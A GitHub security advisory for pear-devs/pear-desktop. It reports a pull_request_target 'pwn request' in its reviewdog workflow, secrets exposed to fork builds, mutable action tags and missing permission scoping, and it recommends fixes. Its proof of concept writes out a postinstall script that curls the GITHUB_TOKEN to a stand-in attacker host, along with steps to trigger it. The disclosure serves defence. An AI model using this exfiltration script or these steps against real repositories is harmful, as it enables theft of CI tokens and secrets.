Skip to content

Arbitrary code execution via pull_request_target workflow and additional CI/CD hardening gaps

High
JellyBrick published GHSA-mvhx-2jh5-3qx4 Mar 25, 2026

Package

actions pear-devs/pear-desktop (GitHub Actions)

Affected versions

All versions prior to fix

Patched versions

c8a743614f8cb46d24b62e9680498bd72378dcaf

Description

Summary

Multiple GitHub Actions workflow misconfigurations in pear-devs/pear-desktop allowed unauthenticated arbitrary code execution in CI runners. The most critical issue — in reviewdog.yml — allowed any GitHub user to execute code with access to the repository's GITHUB_TOKEN by opening a malicious pull request. Three additional findings affect secret exposure, mutable action references, and missing permission scoping.

Details

Finding 1: Pwn Request — reviewdog.yml (Critical)

File: .github/workflows/reviewdog.yml
Trigger: pull_request_target — fires on every non-draft fork PR
Checkout ref: ${{ github.event.pull_request.head.sha }} — checks out the PR author's fork code
Execution: pnpm install --frozen-lockfile (line ~34) — even with --frozen-lockfile, pnpm executes lifecycle scripts (preinstall, install, postinstall) from the fork's package.json
Permissions: contents:read, pull-requests:write, checks:write (job-level)
Job condition: github.event.pull_request.draft == false — skips drafts only, not a security gate

No fork guard (head.repo.full_name == github.repository), label gate, or environment protection was present.

CVSS 3.1: 8.6 High (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

Finding 2: Fork PR Code Execution with Secrets — build.yml (High)

File: .github/workflows/build.yml (line ~22)
Trigger: pull_request — read-only token from forks, but secrets are passed to the build step
Execution: pnpm install — same lifecycle script vector as Finding 1

While the pull_request trigger limits the GITHUB_TOKEN to read-only from forks, secrets were passed to the build step, making them accessible to attacker-controlled lifecycle scripts.

Finding 3: Mutable Action References (Medium)

Multiple workflows referenced third-party actions by semver tag rather than commit SHA. Tags are mutable and can be force-pushed to point at malicious code, as occurred in the tj-actions/changed-files supply chain attack (March 2025).

Affected actions:

  • pnpm/action-setup@v4
  • reviewdog/action-eslint@v1.34.0
  • coactions/setup-xvfb@v1
  • actions-cool/check-user-permission@v2
  • vedantmgoyal2009/winget-releaser@main — pinned to main branch (highest risk; every commit to that repo immediately executes in CI)

Finding 4: Missing Workflow-Level Permissions (Medium)

The reviewdog.yml workflow had job-level permissions but no workflow-level permissions: block. Depending on org/repo default settings, other jobs in the workflow may inherit write-all permissions.

PoC (Not Executed)

For Finding 1 (reviewdog.yml):

  1. Fork pear-devs/pear-desktop
  2. Edit package.json to add a malicious lifecycle script:
    {
      "scripts": {
        "postinstall": "curl -sSfL -X POST --data \"token=$GITHUB_TOKEN\" https://attacker.example.com/exfil"
      }
    }
  3. Open a non-draft pull request against pear-devs/pear-desktop
  4. reviewdog.yml triggers via pull_request_target, checks out the fork code, and runs pnpm install --frozen-lockfile
  5. The postinstall script executes with access to:
    • GITHUB_TOKEN with contents:read, pull-requests:write, checks:write
    • All environment variables on the runner

Note: This PoC uses attacker.example.com intentionally. No exploitation was performed.

Impact

  • Arbitrary code execution in the GitHub Actions runner on every fork PR (Finding 1)
  • GITHUB_TOKEN exfiltration — attacker gains pull-requests:write and checks:write permissions, enabling PR approval, check manipulation, and comment impersonation (Finding 1)
  • Secret exfiltration via lifecycle scripts in fork PRs where secrets are passed to build steps (Finding 2)
  • Supply chain risk from mutable third-party action references, particularly winget-releaser@main (Finding 3)
  • Privilege escalation potential from missing workflow-level permission scoping (Finding 4)

Investigation Results

The repository maintainers conducted a post-disclosure investigation and confirmed the following:

  • No evidence of actual exploitation was found in GitHub Actions workflow run logs
  • Published releases and release artifacts have not been tampered with
  • No unauthorized modifications were detected in the repository history
  • The identified vulnerabilities remain theoretical risks that have not been exploited in practice

Recommended Fixes

Finding 1 (Critical):

  1. Switch to the pull_request trigger for linting — sandboxes fork code with a read-only token and no secret access
  2. If pull_request_target is required for comment posting, use a workflow_run pattern where lint results are passed as artifacts to a separate privileged workflow
  3. If keeping pull_request_target, add a fork guard: if: github.event.pull_request.head.repo.full_name == github.repository

Finding 2 (High):

  • Do not pass secrets to steps that execute attacker-controlled code; separate the build and privileged steps into distinct jobs

Finding 3 (Medium):

  • Pin all third-party actions by full 40-character commit SHA; the vedantmgoyal2009/winget-releaser@main reference is especially urgent

Finding 4 (Medium):

  • Add permissions: {} at the workflow level and scope permissions explicitly on each job

Credit

Identified by Christopher Lusk (@north-echo) using Fluxgate, an open-source GitHub Actions security scanner.

Disclosure protocol: https://github.com/north-echo/fluxgate/blob/main/DISCLOSURE.md

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

Credits